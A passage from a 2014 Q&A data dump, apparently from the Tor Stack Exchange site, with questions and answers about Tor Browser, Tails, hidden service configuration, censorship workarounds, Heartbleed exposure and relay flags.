OwnerUserId="1726" LastActivityDate="2014-05-16T22:52:46.613" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2108" PostTypeId="1" CreationDate="2014-05-17T14:27:05.277" Score="2" ViewCount="189" Body="&lt;p&gt;I am new here. My question pertains to signing into Facebook off of Tor. If I use the Tor Browser to sign into Facebook and I have a stalker of some sort monitoring my phone not the actual facebook account, will it show my personal information to him. Ex.(he is a stalker) Will he get my new password that I used, be able to tell what I posted or get any of my messages? And If not, is there any particular safe browser that I could use? I know that if i post something everyone will know who i am. i just want to be clear. I am referring to someone that is monitoring the actual phone itself.&lt;/p&gt;&#xA;" OwnerUserId="1778" LastEditorUserId="1778" LastEditDate="2014-05-17T14:58:53.343" LastActivityDate="2014-05-24T02:48:43.177" Title="Can I sign into Facebook" Tags="|help|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2109" PostTypeId="1" CreationDate="2014-05-17T19:52:47.590" Score="0" ViewCount="52" Body="&lt;p&gt;My work restricts web sites. Our server is located in Germany but my office is in the uk. I don't seem to be able to access the tor network. I think I need the proxy setting how do I find these&lt;/p&gt;&#xA;" OwnerUserId="1780" LastEditorUserId="88" LastEditDate="2014-05-17T20:44:25.000" LastActivityDate="2014-05-17T22:04:09.507" Title="Work censorship" Tags="|configuration|censorship|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2111" PostTypeId="1" AcceptedAnswerId="2124" CreationDate="2014-05-17T20:05:05.350" Score="3" ViewCount="361" Body="&lt;p&gt;Is it possible to encrypt all traffic between the last relay and my hidden service site? (I have tried to use an ssl certificate and configure tor like that: &lt;code&gt;HiddenServicePort 443 127.0.0.1:443&lt;/code&gt; but it don't work)&lt;/p&gt;&#xA;" OwnerDisplayName="user1394" LastEditorUserId="88" LastEditDate="2014-05-22T16:20:52.130" LastActivityDate="2014-05-22T16:20:52.130" Title="Encrypt traffic between my onion site and exit relays" Tags="|onion-services|security|exit-relays|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2112" PostTypeId="1" CreationDate="2014-05-17T20:12:27.183" Score="1" ViewCount="116" Body="&lt;p&gt;I have a local Tor server running, and a pptpd server running. I would like it to be able to just connect to my VPN to use Tor (since it will kick back when I leave the house and reconnect when I get there) so that I don't have to reconfigure my internet every time I move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That, or I could alias a command to set the proxy server, but Tor will not allow outside connections. Could somebody point me in the direction of configuring pptpd to route traffic through Tor or configure Tor to allow outside (non localhost) IP's&lt;/p&gt;&#xA;" OwnerUserId="1782" LastEditorUserId="923" LastEditDate="2014-06-24T06:40:11.067" LastActivityDate="2014-06-24T06:40:11.067" Title="route pptpd traffic through Tor" Tags="|vpn|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2114" PostTypeId="1" CreationDate="2014-05-17T21:41:19.470" Score="1" ViewCount="4421" Body="&lt;p&gt;I loaded TAILS from a disk and the mouse doesn't work to click yes/no on the initial TAILS screen. The keyboard doesn't work either it seems. Thus, I can't even get to Tor as I can't get TAILS to load. A Debian based operating system runs native on the hard drive on the computer that is trying to run TAILS but I don't think there is native graphics on the mother board ... I think it is an old high end graphics card plugged into the mother board which is a Z68xud-4-b3 Gigabyte and that may be connected to the problem.&lt;/p&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="923" LastEditDate="2014-06-24T08:25:59.133" LastActivityDate="2014-06-24T08:25:59.133" Title="Keyboard and Mouse don't work from TAILS screen so can't get to Tor" Tags="|tails|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-24T11:17:36.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="2115" PostTypeId="2" ParentId="2109" CreationDate="2014-05-17T22:04:09.507" Score="3" Body="&lt;p&gt;If you need Tor access for work purposes, make arrangements through management. If it's for personal use, use your own device and network connection, such as a WiFi AP. Circumventing your employer's network security might get you fired. Also, even if you succeed, IT staff could observe your activities, and that might get you fired, or worse.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-05-17T22:04:09.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2116" PostTypeId="2" ParentId="2100" CreationDate="2014-05-18T01:28:42.250" Score="8" Body="&lt;p&gt;I did encounter this problem a while because of a stupid mistake :&#xA;I was checking the signature after issuing the isohybrid command on it, which of course messed up the signature... Duh. &#xA;So check your verifying procedure first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think the key would have been tampered because what's the point of tampering it if still doesn't verify the alleged tampered ISO ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intercepting your download and replacing it by a forged one is quite a sophisticated attack. If you are not a (really) high target profile, or don't have a very determined ennemy, the probability of this attack seems very low to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to know it for sure is to download the ISO &quot;as someone else&quot; (public internet, other's computer, etc), if its sigs match, your previous ISO was indeed not the original Tails. Now you have to &lt;strong&gt;know what happened&lt;/strong&gt;.&#xA;Keep the previous corrupted badly signed ISO on a read-only media (CD-R) to then compare it with the new legit one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing route : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;SHA2 checksums on each file of the unpacked ISO.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Spot the ones that differs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify wether it looks like bugs/mistake or malware intended modification through code reviews and reverse-engineering. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get help online for any of the steps whose you don't have the ability for.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The line between unlimited paranoïa and certainty of an attack relies on &lt;strong&gt;proofs&lt;/strong&gt;. Without them you'll never move forward and I know this because I've been there.&lt;/p&gt;&#xA;" OwnerUserId="1785" LastActivityDate="2014-05-18T01:28:42.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2117" PostTypeId="1" AcceptedAnswerId="2119" CreationDate="2014-05-18T11:17:59.330" Score="1" ViewCount="96" Body="&lt;p&gt;Assuming that you have information in your ram that would identify who you are, and you are using the Tor browser but your pc is running a vulnerable version of openssl, could your memory be dumped by visiting a malicious site? Or does the TBB use it's own ssl tools rather than what you have installed on your system?&lt;/p&gt;&#xA;" OwnerUserId="217" LastActivityDate="2014-05-19T00:31:55.087" Title="Can heartbleed be used to de-anonymize you by browsing a site via Tor?" Tags="|tor-browser-bundle|deanonymization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2118" PostTypeId="1" AcceptedAnswerId="2142" CreationDate="2014-05-18T18:03:43.997" Score="6" ViewCount="7683" Body="&lt;p&gt;I want to incorporate Tor in my application in order to access a Tor hidden service. Make GET POST requests to the web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any resource I can read to implement a simple Tor client that will allow me to send requests to a webservice ?&lt;/p&gt;&#xA;" OwnerUserId="1789" LastEditorUserId="923" LastEditDate="2014-06-19T21:40:12.143" LastActivityDate="2014-07-21T14:59:51.207" Title="Developing a Tor library" Tags="|onion-services|development|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2119" PostTypeId="2" ParentId="2117" CreationDate="2014-05-19T00:31:55.087" Score="5" Body="&lt;p&gt;No, not with TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TBB is based on Firefox ESR which doesn't use OpenSSL but NSS to do SSL/TLS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other software that uses a vulnerable Version of OpenSSL could be exploited by a malicious server. &lt;/p&gt;&#xA;" OwnerUserId="312" LastActivityDate="2014-05-19T00:31:55.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2120" PostTypeId="2" ParentId="2080" CreationDate="2014-05-19T08:25:19.870" Score="1" Body="&lt;p&gt;You can also use &lt;a href=&quot;http://www.stealthy.co/&quot; rel=&quot;nofollow&quot;&gt;Stealthy&lt;/a&gt;, a &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/stealthy/&quot; rel=&quot;nofollow&quot;&gt;plugin for Firefox&lt;/a&gt;. If you encounter a blocked page, Stealthy switches to an open proxy in another country and tries downloading it through this proxy. However those are &lt;em&gt;not&lt;/em&gt; Tor proxies, but simple open proxies.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-05-19T08:25:19.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2121" PostTypeId="1" CreationDate="2014-05-19T08:37:27.370" Score="2" ViewCount="128" Body="&lt;p&gt;I could generate a torrc like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service0/&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&#xA;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service1/&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&#xA;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service2/&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&#xA;...&#xA;&#xA;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service99999999999/&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could get a few VPS to do this at the same time.&#xA;Hey would be bussy generating public keys and uploading them, but would this also hurt the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="1793" LastActivityDate="2014-05-31T01:35:34.720" Title="What happens if I create a flood of hidden services?" Tags="|dos|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2124" PostTypeId="2" ParentId="2111" CreationDate="2014-05-19T15:20:54.610" Score="4" Body="&lt;p&gt;If you're running a hidden service all connections from a Tor client to it are encrypted end-to-end&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-05-19T15:20:54.610" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2125" PostTypeId="2" ParentId="2111" CreationDate="2014-05-19T21:56:16.857" Score="1" Body="&lt;p&gt;As already stated you may offer your service as a hidden service in addition to the public one. That way connections using the onion address will always be encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor website has &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;a manual&lt;/a&gt; for configuring a hidden service.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-05-19T21:56:16.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2127" PostTypeId="1" CreationDate="2014-05-20T00:19:32.357" Score="2" ViewCount="3045" Body="&lt;p&gt;Hi all I'm trying to set up Tor on my school laptop to get around the schools censorship but I'm a wee bit stuck. I've put in the proxy that's required for access to the schools network, checked for open ports and got bridges but when I try to connect an error pops up &lt;code&gt;Network is unreachable [WSAENETUNREACH]&lt;/code&gt; and that all any help would be greatly appreciated. Thanks Log below. P.S. I'm using the standard Tor browser bundle.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;20/05/2014 8:49:08 AM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server. &#xA;20/05/2014 8:49:08 AM.301 [WARN] connection_connect(): Bug: Tried to open a socket with DisableNetwork set. &#xA;20/05/2014 8:49:08 AM.302 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Network is unreachable [WSAENETUNREACH ]; NOROUTE; count 1; recommendation warn) &#xA;20/05/2014 8:49:12 AM.220 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Network is unreachable [WSAENETUNREACH ]; NOROUTE; count 2; recommendation warn) &#xA;20/05/2014 8:49:12 AM.221 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Network is unreachable [WSAENETUNREACH ]; NOROUTE; count 3; recommendation warn) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1791" LastEditorUserId="923" LastEditDate="2014-06-24T08:25:15.623" LastActivityDate="2014-06-26T15:43:37.043" Title="Complete Network Noob: please help me set-up Tor" Tags="|tor-browser-bundle|censorship|help|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2128" PostTypeId="2" ParentId="2104" CreationDate="2014-05-20T03:49:48.843" Score="0" Body="&lt;p&gt;Compared to relays, Tor instances used for hosting hidden services are much like regular clients used for browsing. They connect with the Tor network only through entry guards (currently three). However, both local observers and entry guards can distinguish Tor instances used for hosting hidden services. Given that they're serving content, download/upload ratios will be different. Also, if many clients are accessing a hidden service, there will be many more circuits, and all three entry guards may be heavily used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main point, however, is that it's a bad idea to host hidden services at home or at work, unless it's just a learning exercise.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-05-20T03:49:48.843" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2129" PostTypeId="2" ParentId="2127" CreationDate="2014-05-20T09:24:41.557" Score="1" Body="&lt;p&gt;They are likely blocking access to the directory services. I believe you have two options&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;do you school work&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;bridges&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="743" LastActivityDate="2014-05-20T09:24:41.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2130" PostTypeId="1" AcceptedAnswerId="2132" CreationDate="2014-05-20T11:34:25.553" Score="3" ViewCount="446" Body="&lt;p&gt;There are search engines for Tor hidden services, analogous to Google, Yahoo, etc. for the greater Internet. How can sites avoid being indexed by these search engines? Does a conventional &quot;robots.txt&quot; work?&lt;/p&gt;&#xA;" OwnerDisplayName="user1394" LastEditorUserId="100" LastEditDate="2014-06-24T07:41:11.097" LastActivityDate="2014-06-24T07:41:11.097" Title="How can hidden services avoid indexing by search engines?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2131" PostTypeId="2" ParentId="2118" CreationDate="2014-05-20T12:18:48.953" Score="5" Body="&lt;p&gt;Tor is a socks5 proxy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ietf.org/rfc/rfc1928.txt&quot; rel=&quot;nofollow&quot;&gt;here is the socks5 rfc&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://samsclass.info/122/proj/how-socks5-works.html&quot; rel=&quot;nofollow&quot;&gt;here is a guide to how socks5 works with tor&lt;/a&gt; read this, it is VERY useful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if using sockets (I assume c++ uses sockets) you will need to &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;connect to tor (127.0.0.1:9050 by default) &lt;/li&gt;&#xA;&lt;li&gt;Send authentication (5,1,0) see rfc part 3&lt;/li&gt;&#xA;&lt;li&gt;Receive the tor response (5,0) see rfc part 3&lt;/li&gt;&#xA;&lt;li&gt;Send Client's Connection request (5,1,0,3 + host length +  a binary representation of the host and port) see rfc part 4 &lt;/li&gt;&#xA;&lt;li&gt;receive the tor response (5,0,0,1,0,0,0,0,0,0) see rfc part 6 (there can be a bunch of errors here, so watch out)&lt;/li&gt;&#xA;&lt;li&gt;Send a binary representation of a http request to tor (Tor will forward this to the destination)&lt;/li&gt;&#xA;&lt;li&gt;Receive the http response (will send the header first then the web page)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2014-07-21T14:59:51.207" LastActivityDate="2014-07-21T14:59:51.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2132" PostTypeId="2" ParentId="2130" CreationDate="2014-05-20T12:25:05.043" Score="1" Body="&lt;p&gt;robots.txt only works if the search engine provider listens to it, which they are not guaranteed to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will only be indexed if the spider that the search engine is using can not find you, and the only way to have them not find you is to never have a link to your website posted to another website. (which is impossible to guarantee too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try robots.txt and you can try not having any links anywhere like the hidden wiki. If that does not work, contact the search engine and ask them to take you off&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2014-05-20T12:25:05.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2134" PostTypeId="2" ParentId="2079" CreationDate="2014-05-20T12:39:27.923" Score="1" Body="&lt;p&gt;It is likely a normal message and not worth worrying about. Tails aim to shutdown fast, and takes a few shortcuts. Although without the exact message, it's hard to give a definite answer.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-20T12:39:27.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2135" PostTypeId="2" ParentId="1894" CreationDate="2014-05-20T12:48:20.890" Score="1" Body="&lt;p&gt;The Firefox profile is not part of Tails persistence framework for reasons related to upgrades and safety.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's only about the extensions, there might be a way though. If the &lt;a href=&quot;https://packages.debian.org/search?keywords=xul-ext&amp;amp;searchon=names&amp;amp;suite=oldstable&amp;amp;section=all&quot; rel=&quot;nofollow&quot;&gt;extensions are in Debian&lt;/a&gt; you can use the &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/configure/index.en.html#index13h2&quot; rel=&quot;nofollow&quot;&gt;Additional software packages&lt;/a&gt; feature of the persistence framework to install the extensions automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that any extensions might make your browser act differently and thus harm your anonymity. They might also leak sensitive information.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-20T12:48:20.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2136" PostTypeId="2" ParentId="1924" CreationDate="2014-05-20T12:54:13.537" Score="2" Body="&lt;p&gt;The firewall is loaded early in Tails boot sequence. So no connections are possible without Tor. What you describe is only an artifact (a &lt;em&gt;race&lt;/em&gt;) on how Tor and Vidalia reports their status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;a href=&quot;https://tails.boum.org/news/version_0.22.1/&quot; rel=&quot;nofollow&quot;&gt;Tails 0.22.1&lt;/a&gt;, Tails do no start the web browser automatically and only shows a notification.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-20T12:54:13.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2137" PostTypeId="2" ParentId="2043" CreationDate="2014-05-20T12:59:49.237" Score="1" Body="&lt;p&gt;You might want to read &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html#index2h2&quot; rel=&quot;nofollow&quot;&gt;Why is Tails based on Debian and not on another distribution?&lt;/a&gt; and &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html#index3h2&quot; rel=&quot;nofollow&quot;&gt;Why isn't Tails based on Ubuntu?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also have a look at the number of &lt;a href=&quot;https://tails.boum.org/about/index.en.html#index7h1&quot; rel=&quot;nofollow&quot;&gt;projects which are now discontinued&lt;/a&gt; because maintainability had not been thought from the beginning. What is the best foundation for running Tor? A super-tweaked set of software that is several months old and contains known security holes or something closer to a common ground but refreshed every six weeks?&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-20T12:59:49.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2138" PostTypeId="2" ParentId="1562" CreationDate="2014-05-20T13:03:21.150" Score="2" Body="&lt;p&gt;Unless hardware or very low level software monitoring solutions have been deployed, a public computer booted with Tails will properly protect the privacy of its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users should eventually &lt;a href=&quot;https://tails.boum.org/doc/first_steps/startup_options/mac_spoofing/&quot; rel=&quot;nofollow&quot;&gt;disable MAC address spoofing&lt;/a&gt; as it might raise suspicions from the local network administrator or prevent the computer to access the network entirely.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-20T13:03:21.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2139" PostTypeId="2" ParentId="1633" CreationDate="2014-05-20T13:10:55.253" Score="0" Body="&lt;p&gt;Answers are to be found in &lt;a href=&quot;https://tails.boum.org/contribute/design/&quot; rel=&quot;nofollow&quot;&gt;Tails design documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/contribute/design/#index28h3&quot; rel=&quot;nofollow&quot;&gt;regarding Tor and Vidalia&lt;/a&gt;,&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/contribute/design/#index40h3&quot; rel=&quot;nofollow&quot;&gt;regarding Iceweasel&lt;/a&gt;, &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/contribute/design/Time_syncing/&quot; rel=&quot;nofollow&quot;&gt;regarding system clock&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1041" LastEditorUserId="923" LastEditDate="2014-06-20T01:25:54.893" LastActivityDate="2014-06-20T01:25:54.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2140" PostTypeId="2" ParentId="1631" CreationDate="2014-05-20T14:29:16.937" Score="3" Body="&lt;p&gt;A relay requires a public IP address as it needs to accept incoming connections. As far as I can see from your routing table, your tunnel provider does not give you a public IP address. Your Tor log messages should currently contain something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your server has not managed to confirm that its ORPort is reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that the idea of running a Tor relay behind a tunnel is not a very good idea. The relayed packets are going to take a round-trip through the tunnel, adding latency and minimizing bandwidth. Please consider running a &lt;a href=&quot;https://www.torproject.org/docs/bridges.html&quot; rel=&quot;nofollow&quot;&gt;bridge&lt;/a&gt; on the public IP address given by your ISP instead.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastEditorUserId="100" LastEditDate="2014-05-21T03:18:16.167" LastActivityDate="2014-05-21T03:18:16.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2141" PostTypeId="2" ParentId="1628" CreationDate="2014-05-20T14:34:59.407" Score="7" Body="&lt;p&gt;With the way the Tor Browser is currently built, it ships with a dedicated profile prepared in advance. That profile cannot be shared by multiple users. Also, as there is no update mechanism currently, every upgrades mean that the profile recreated from the clean profile shipped by the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only safe solution currently is to have have each users manage their own Tor Browser installation — or eventually script the installation and upgrades in a way or another.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-20T14:34:59.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2142" PostTypeId="2" ParentId="2118" CreationDate="2014-05-20T21:19:56.273" Score="2" Body="&lt;p&gt;For the protocol you should have a look at &lt;a href=&quot;https://gitweb.torproject.org/torspec.git&quot; rel=&quot;nofollow&quot;&gt;the tor specs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you understand Java you can also have a look at &lt;a href=&quot;http://www.subgraph.com/orchid.html&quot; rel=&quot;nofollow&quot;&gt;orchid&lt;/a&gt; or &lt;a href=&quot;https://sourceforge.net/projects/silvertunnel-ng/&quot; rel=&quot;nofollow&quot;&gt;SilverTunnel-NG&lt;/a&gt; or just have a look at the &lt;a href=&quot;https://gitweb.torproject.org/tor.git&quot; rel=&quot;nofollow&quot;&gt;tor codebase&lt;/a&gt; itself.&lt;/p&gt;&#xA;" OwnerUserId="612" LastActivityDate="2014-05-20T21:19:56.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2143" PostTypeId="1" CreationDate="2014-05-21T03:07:08.413" Score="2" ViewCount="76" Body="&lt;p&gt;Right now, I am using the following configuration to access the Tor network.  My configuration uses two computers.  The first computer has two network interface cards and is setup using Tor (just Tor) and privoxy.  It is setup to be a (isolating?) proxy server.  The second computer is setup using the the Tor bundle browser which is configured to access the Tor network using the proxy server address of the first computer.  To my way of thinking, this configuration has to use two circuits through Tor.  Am I correct? This configuration seems to work fine.  I left out a lot of details in case there is no interest in this configuration experiment.&lt;/p&gt;&#xA;" OwnerUserId="1803" LastEditorUserId="923" LastEditDate="2014-06-24T08:25:35.663" LastActivityDate="2014-11-21T10:38:32.000" Title="Does this configuration use two consecutive Tor circuts?" Tags="|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2144" PostTypeId="2" ParentId="423" CreationDate="2014-05-21T09:26:35.580" Score="9" Body="&lt;p&gt;There's a good break-down of most of these at &lt;a href=&quot;https://github.com/torproject/torspec/blob/master/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torproject/torspec/blob/master/dir-spec.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't cover your full list, but the ones it does cover are very clearly explained:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Authority&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A router is called an ‘Authority’ if the authority generating the&#xA;  network-status document believes it is an authority&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Exit&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A router is called an 'Exit' iff it allows exits to at&#xA;  least one /8 address space on each of ports 80 and 443. (Up until&#xA;  Tor version 0.3.2, the flag was assigned if relays exit to at least&#xA;  two of the ports 80, 443, and 6667.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Fast&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A router is 'Fast’ if it is active, and its bandwidth is either in the&#xA;  top 7/8ths for known active routers or at least some minimum (20KB/s&#xA;  until 0.2.3.7-alpha, and 100KB/s after that).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Guard&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A router is a possible 'Guard’ if its Weighted Fractional Uptime is at&#xA;  least the median for “familiar” active routers, and if its bandwidth&#xA;  is at least median or at least 250KB/s.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To calculate weighted fractional uptime, compute the fraction of time&#xA;  that the router is up in any given day, weighting so that downtime and&#xA;  uptime in the past counts less.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A node is 'familiar’ if 1/8 of all active nodes have appeared more&#xA;  recently than it, OR it has been around for a few weeks.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;HSDir&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A router is a v2 hidden service directory if it stores and serves v2&#xA;  hidden service descriptors, and the authority believes that it’s been&#xA;  up for at least 25 hours (or the current value of&#xA;  MinUptimeHidServDirectoryV2).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Named&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Directory authority administrators may decide to support name binding.&#xA;  If they do, then they must maintain a file of nickname-to-identity-key&#xA;  mappings, and try to keep this file consistent with other directory&#xA;  authorities.  If they don’t, they act as clients, and report bindings&#xA;  made by other directory authorities (name X is bound to identity Y if&#xA;  at least one binding directory lists it, and no directory binds X to&#xA;  some other Y’.)  A router is called 'Named’ if the router believes the&#xA;  given name should be bound to the given key.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Two strategies exist on the current network for deciding on values for&#xA;  the Named flag.  In the original version, relay operators were asked&#xA;  to send nickname-identity pairs to a mailing list of Naming directory&#xA;  authorities’ operators.  The operators were then supposed to add the&#xA;  pairs to their mapping files; in practice, they didn’t get to this&#xA;  often.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Newer Naming authorities run a script that registers routers in their&#xA;  mapping files once the routers have been online at least two weeks, no&#xA;  other router has that nickname, and no other router has wanted the&#xA;  nickname for a month.  If a router has not been online for six months,&#xA;  the router is removed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Running&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A router is 'Running’ if the authority managed to connect to it&#xA;  successfully within the last 45 minutes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Stable&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A router is 'Stable’ if it is active, and either its Weighted MTBF is&#xA;  at least the median for known active routers or its Weighted MTBF&#xA;  corresponds to at least 7 days. Routers are never called Stable if&#xA;  they are running a version of Tor known to drop circuits stupidly. &#xA;  (0.1.1.10-alpha through 0.1.1.16-rc are stupid this way.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To calculate weighted MTBF, compute the weighted mean of the 